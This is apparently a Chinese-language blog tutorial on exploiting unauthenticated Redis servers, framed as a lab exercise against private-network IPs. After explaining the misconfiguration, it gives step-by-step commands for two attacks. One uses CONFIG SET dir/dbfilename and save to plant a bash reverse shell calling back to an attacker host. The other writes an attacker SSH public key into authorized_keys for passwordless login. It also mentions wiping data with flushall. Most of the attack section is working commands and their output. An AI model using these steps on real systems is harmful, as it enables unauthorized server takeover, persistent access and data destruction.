Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis 是一个高性能的key-value数据库。 redis的出现,很大程度补偿了memcached这类key/value存储的不足,在部 分场合可以对关系数据库起到很好的补充作用。 --百度
Redis有着更为复杂的数据结构并且提供对他们的原子性操作,这是一个不同于其他数据库的进化路径。Redis的数据类型都是基于基本数据结构的同时对程序员透明,无需进行额外的抽象。
Redis运行在内存中但是可以持久化到磁盘,所以在对不同数据集进行高速读写时需要权衡内存,因为数据量不能大于硬件内存。在内存数据库方面的另一个优点是,相比在磁盘上相同的复杂的数据结构,在内存中操作起来非常简单,这样Redis可以做很多内部复杂性很强的事情。同时,在磁盘格式方面他们是紧凑的以追加的方式产生的,因为他们并不需要进行随机访问。 --菜鸟教程
大概的意思就是这是一个数据库,存储在内存中,可以与磁盘交互,并且支持远程连接。Redis因配置不当可以未授权访问,攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。
Redis在默认情况下,会绑定在0.0.0.0:6379
。如果没有采取相关的安全策略,比如添加防火墙规则、避免其他非信任来源IP访问等,这样会使Redis服务完全暴露在公网上。如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在访问目标服务器时,可以在未授权的情况下访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行文件的读写等操作。攻击者可以成功地将自己的ssh公钥写入到目标服务器的 /root/.ssh
文件夹下的authotrized_keys
文件中,进而可以使用对应地私钥直接使用ssh服务登录目标服务器。
漏洞可能产生的危害:
攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以通过恶意执行flushall
来清空所有数据
攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件
如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害者服务器
redis的安装这里就不多说了,以后可能会补充上来,下面是一些资料
安装方式见:https://www.cnblogs.com/limit1/p/9045183.html
配置文件参数说明:https://www.cnblogs.com/qq78292959/archive/2013/09/21/3331032.html
其详细配置过程可以参见:https://www.cnblogs.com/kreo/p/4423362.html
需要了解的一些点:
去掉ip绑定,允许除本地外的主机远程登录redis,编辑etc中的redis配置文件redis.conf
python@ubuntu:~/Desktop/redis-3.2.11$ vim /etc/redis.conf
------
#blind 127.0.0.1
默认Redis会把快照文件存储为当前目录下一个名为dump.rdb
的文件。
dbfilename dump.rdb
关闭保护模式,允许远程连接redis服务:
protected-mode no
使用当前redis.conf配置启动redis服务
root@kali:~/桌面/redis-3.2.11# redis-server /etc/redis.conf
//注意目录 不在这个文件下面 就要补全相应的目录
使用systemctl start sshd
命令启动自带的ssh服务,没有的话就需要安装了
尝试service sshd start
命令,看有没有安装ssh:
fauked to start sshd.service: Unit sshd.service not found
如果出现上述结果,表示没有安装ssh服务,安装方法如下:
sudo apt-get install openssh-server
再次运行以下命令确认ssh服务是否开启:
ps -e | ssh
最后显示:3228 ? 00:00:00 sshd说明ssh服务器已启用
首先需要做的就是,ipconfig查一下我们redis服务器的ip。ipconfig一下就可以
那么我们使用另外一个机器登陆一下
redis基本命令 连接redis:
redis-cli -h 192.168.93.128
查看redis版本信息、一些具体信息、服务器版本信息等等:
192.168.93.128:6379>info
将变量x的值设为test:
192.168.93.128:6379>set x "test"
是把整个redis数据库删除,一般情况下不要用!!!
192.168.93.128:6379>flushall
查看所有键:
192.168.93.128:6379>KEYS *
获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
192.168.93.128:6379>CONFIG GET dir
192.168.93.128:6379>CONFIG GET dbfilename
保存数据到备份目录
192.168.93.128:6379>save
1.创建反弹shellde的方法
root@kali:~/Desktop/test# redis-cli -h 192.168.93.128
192.168.93.128:6379> set x "bash -i >& /dev/tcp/192.168.93.170/7999 0>&1\n"
OK
192.168.93.128:6379> config set dir /var/www/html/
OK
192.168.93.128:6379> config set dbfilename ncshell
OK
192.168.93.128:6379> save
OK
192.168.93.128:6379> exit
//nc监听端口已经反弹回来shell
nc -lvnp 7999
创建ssh公私钥
ssh-keygen -t rsa //会将结果在默认目录
进入.ssh
目录:cd .ssh/
,将生成的公钥保存到hack.txt
root@kali:~/.ssh# (echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > hack.txt
将hack.txt写入redis
root@kali:~/.ssh# cat hack.txt | redis-cli -h 192.168.152.133 -x set crack
OK
//当然我们也可以先连接 然后读取文件再写入
//注意数据库不为空的话 需要清空flushall
//接下来就是更改备份目录,将我们的文件写入到ssh目录下
//2. 创建ssh私钥连接
root@kali:~/Desktop/test# redis-cli -h 192.168.93.128
192.168.93.128:6379> config get dir
1) "dir"
2) "/home/python/.ssh"
//更改redis备份路径为ssh公钥存放目录 这个就是看情况了
//一般默认为/root/.ssh,这没有登录root用户,那么默认路径是/home/用户名/.ssh,所以不需要更改)
//设置上传公钥的备份文件名字为authorized_keys
192.168.93.128:6379> config set dbfilename authorized_keys
OK
192.168.93.128:6379> save
OK
192.168.93.128:6379> exit
直接免密登录
root@kali:~/.ssh# ssh -i id_rsa [email protected]
可以成功登录了